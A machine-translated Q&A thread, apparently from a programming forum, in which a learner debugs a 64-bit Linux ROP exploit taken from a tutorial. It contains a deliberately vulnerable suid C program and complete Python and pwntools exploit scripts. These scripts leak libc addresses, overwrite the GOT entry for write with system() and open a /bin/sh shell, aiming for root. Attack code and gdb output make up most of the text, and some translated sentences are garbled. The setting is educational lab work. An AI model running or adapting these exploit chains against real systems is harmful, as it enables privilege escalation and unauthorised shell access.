为什么我的 64 位漏洞利用在 _Global_Offset_Table 错误中得到 SIGSEGV,而不是 shell

why do I get a SIGSEGV in _Global_Offset_Table error with my 64bit exploit instead of getting a shell

所以这是怎么回事.. 我正在学习使用 rop 进行 64 位溢出攻击的教程。 https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/

要利用的 c 源代码非常简单,甚至包括一个辅助函数来获取必要的汇编命令;对于 C 代码和 python 脚本检查 post.

的底部

所以我(尝试)执行以下操作:

  1. 泄漏写入地址(有效)
  2. 计算 libc 基地址(工作正常)
  3. 计算系统地址(工作正常)
  4. 将/bin/sh写入可写区域(工作正常)
  5. 使用 /bin/sh 启动系统(因 sigsegv 错误而失败)

我使用与教程中相同的方法: 使用 socat 设置一个 tcp 侦听器 socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak 运行 sudo gdb -q -p $(pidof socat) 运行 python 脚本 exploit.py

我确实验证了

运行ning 时的相关 gdb 行:

    Stopped reason: SIGSEGV
0x0000000000600b58 in _GLOBAL_OFFSET_TABLE_ ()
gdb-peda$ p write
 = {<text variable, no debug info>} 0x7f26035f6280 <write>
gdb-peda$ p system
 = {<text variable, no debug info>} 0x7f2603544390 <__libc_system>
gdb-peda$ x/xg 0x600b58
0x600b58:   0x00007f2603544390

gdb-peda$ x/5i 0x00007f2603544390
   0x7f2603544390 <__libc_system>:  test   rdi,rdi
   0x7f2603544393 <__libc_system+3>:    je     0x7f26035443a0 <__libc_system+16>
   0x7f2603544395 <__libc_system+5>:    jmp    0x7f2603543e20 <do_system>
   0x7f260354439a <__libc_system+10>:   nop    WORD PTR [rax+rax*1+0x0]
   0x7f26035443a0 <__libc_system+16>:   lea    rdi,[rip+0x147978]        # 0x7f260368bd1f

...
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Exception (dump memory /tmp/peda-0xjqmnzi 0x7fff153a7000 0x7fff153a9000): Cannot access memory at address 0x7fff153a7000
Traceback (most recent call last):
  File "~/peda/peda.py", line 118, in execute_redirect
gdb.MemoryError: Cannot access memory at address 0x7fff153a7000
Found 2 results, display max 2 items:
leak : 0x600b40 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7fa6d6ddfd17 --> 0x68732f6e69622f ('/bin/sh')

脚本输出中的相关行:

~/github/ghostInTheShell $ ./exploit.py
[+] b'input: '
[+] write is at 0x7f26035f6280
[+] libcbase is at 0x7f26034ff000
[+] system is at 0x7f2603544390
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

所以从 gdb 和输出你可以看到关于地址方案的事情应该没问题。但由于某种原因,它抛出 SIGSEGV 并且不会按预期执行系统。我做了一些研究,认为我发现了称为 'relro' 的问题,但即使我使用选项 -Wl,-z,-norelro 关闭它,我仍然会收到 sigsegv 错误。所以不是这样。 ASLR 和 NX 已打开,但其他所有内容均已关闭。 任何人都知道为什么这会在最后一块中失败?也许有一些我不知道的额外保护? 最好的 Zaphoxx

P.S。根据

为 ./leak 设置了 suid
-rwsr-xr-x 1 root    root    7696 Nov 19 23:37 leak

所以这不应该是这里的问题。

/* leak.c gcc -fno-stack-protector -o leak leak.c 提示:通过查看 'cat /proc/mounts' 确保执行文件夹没有设置 nosuid 标志 提示:编译时用 -Wl,-z,norelro 关闭 relro */

#include <stdio.h>
#include <unistd.h>
#include <string.h>

// add some helper asm snippets for convenience
void helper(){
    asm("pop %rdi;pop %rsi;pop %rdx;ret;");
    asm("pop %rsi;ret;");
    asm("push %rsi;ret;");  
}

int vuln(){
    char buf[150];
    write(1,"input: ",7);
    ssize_t l=0;
    memset(buf,0,sizeof(buf));
    l=read(0,buf,400);
    printf("[+] recvd: ");
    write(1,buf,l);
    return (int) l;
}

int main(){
    setbuf(stdout,0);
    printf("<%d>\n",vuln());
    return 0;
}

python 脚本 exploit.py:

#!/usr/bin/python3
# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

write_plt=0x4004f0  #address of write@plt
read_plt=0x400530
write_got=0x600b58  #address in got for write
write_off=0xf7280  #memsets offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40065a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x600b40 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)

# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_got)

with open("pwn","wb") as p:
    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
print("[+] {}".format(str(s.recv(1024))))

# send payload
s.send(shell+bytearray("\n","utf-8"))

# get back write address
data=s.recv(1024)
d=data[-8:]
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")

print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)

一条没有内存的指令上的 SIGSEGV I/O(如 xor %rdi、%rdi)通常意味着您正在执行一个无执行页面或您的堆栈指针或帧指针未映射

正如我已经评论过的那样,使用 write_got 而不是 write_plt 会使您的攻击失败。在测试你的 exploit 时,我发现在 运行 你的 exploit 时将 gdb 附加到目标进程,我得到了奇怪的输出

[+] b'input: '
[+] write is at 0x203a647663657220
[+] libcbase is at 0x203a64766355ff70
[+] system is at 0x203a6476635a5300
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

我怀疑这是因为您使用了 python socket。我在 CTF 中有过这样的经历,有时你不得不把缓冲搞得一团糟。最好使用已经为此构建的库。看看我如何利用 pwntools 让我的生活更轻松地缓冲 inputs/outputs 和解析 ELF 文件,这样你就不必手动从 gdb 复制输出。

所以我终于在 sudhackar 的帮助下弄明白了(非常感谢为我指明了正确的方向)

所以基本上原始代码有两个问题。

  1. 我在尝试调用 system()
  2. 时不小心输入了 write_got 而不是 write_plt
  3. python 套接字由于 recv 函数的缓冲而产生了一些奇怪的响应。我必须确保在正确的时刻捕捉到漏洞。所以我添加了一个小函数 (recvuntil(socket,searchstring)) 来确保我在正确的时刻发送和接收数据。
  4. 我用 pwntools 复制了同样的东西,但是我有一个问题,我不会得到 root shell,而是一个普通用户 shell
  5. 更新:如前所述,我没有使用我自己修改的代码获得根 shell。所以我现在还停留在那个部分。

也许有人能解开最后的谜团!

更新:不会为任何一个版本打开根 shell。我永远只会得到一个普通用户 shell.

我在下面发布了两个脚本,第一个是我自己的版本,第二个是基本上做同样事情的 pwntools 版本。

!/usr/bin/python3

# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

def recvuntil(sock,key):
    found=False
    data=bytearray()
    bkey=bytearray(key,"utf-8")
    keylen=len(bkey)  
    while not found:
        try:
            b=sock.recv(1)
            #print(b,len(b))
            data.append(unpack("<B",b)[0])
            #data.append(unpack("<b",sock.recv(0x1)))
        except Exception as e1:
            print("[error] in recvuntil !")
            print(e1)
            found=False
            break
            
        if data[-keylen:]==bkey:
            found=True
            print(data)
            print("[+] found key \'{}\'".format(key))
        else:
            found=False
    return found
        

write_plt=0x400520  #address of write@plt
read_plt=0x400560
write_got=0x601018  #address in got for write
write_off=0xf72b0  #offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40068a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x601048 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)


# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_plt)

shell+=bytearray("\n","utf-8")
shell+=bytearray("EOPWN","utf-8")
#with open("pwn","wb") as p:
#    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
#print("[+ #01] {}".format((s.recv(1024)).decode("utf-8")))

recvuntil(s,": ")

# send payload
bytes_sent=0
while bytes_sent<len(shell):
    bytes_sent+=s.send(shell[bytes_sent:])

recvuntil(s,"EOPWN")
# get back write address
data=s.recv(8)

d=data[-8:]
print(data,d)
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")
print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)

同样使用 pwntools:

from pwn import *

pop3ret=0x40068a
writable=0x601048 #writeable address
bin=ELF("./leak")
lib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start a forking server
server = process(['socat', 'tcp-listen:2323,fork,reuseaddr', 'exec:./leak'])
# Connect to the server
s=remote("127.0.0.1",2323)
s.recvuntil(": ")

#leak address of write
payload=b"A"*168
payload+=p64(pop3ret)
payload+=p64(constants.STDOUT_FILENO) 
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'write']) #write@plt

# part2: write system address into write got using read
payload+=p64(pop3ret)
    payload+=p64(constants.STDIN_FILENO)
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'read']) #read@plt

# part3: write /bin/sh to writable address
payload+=p64(pop3ret)
payload+=p64(constants.STDIN_FILENO)
payload+=p64(writable)
payload+=p64(0x7)
payload+=p64(bin.plt[b'read'])

# part4: invoke system
payload+=p64(pop3ret)
payload+=p64(writable)
payload+=p64(0xdeadbeef)
payload+=p64(0xcafebabe)
payload+=p64(bin.plt[b'write'])

payload+=b'EOPAY'

print("[+] send payload")
s.send(payload)

s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")

got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base=got_leak-lib.symbols[b'write']
system_leak=libc_base+lib.symbols[b'system']
print("[+] system: {}".format(hex(system_leak)))

s.send(p64(system_leak))
s.send(b'/bin/sh')
s.interactive()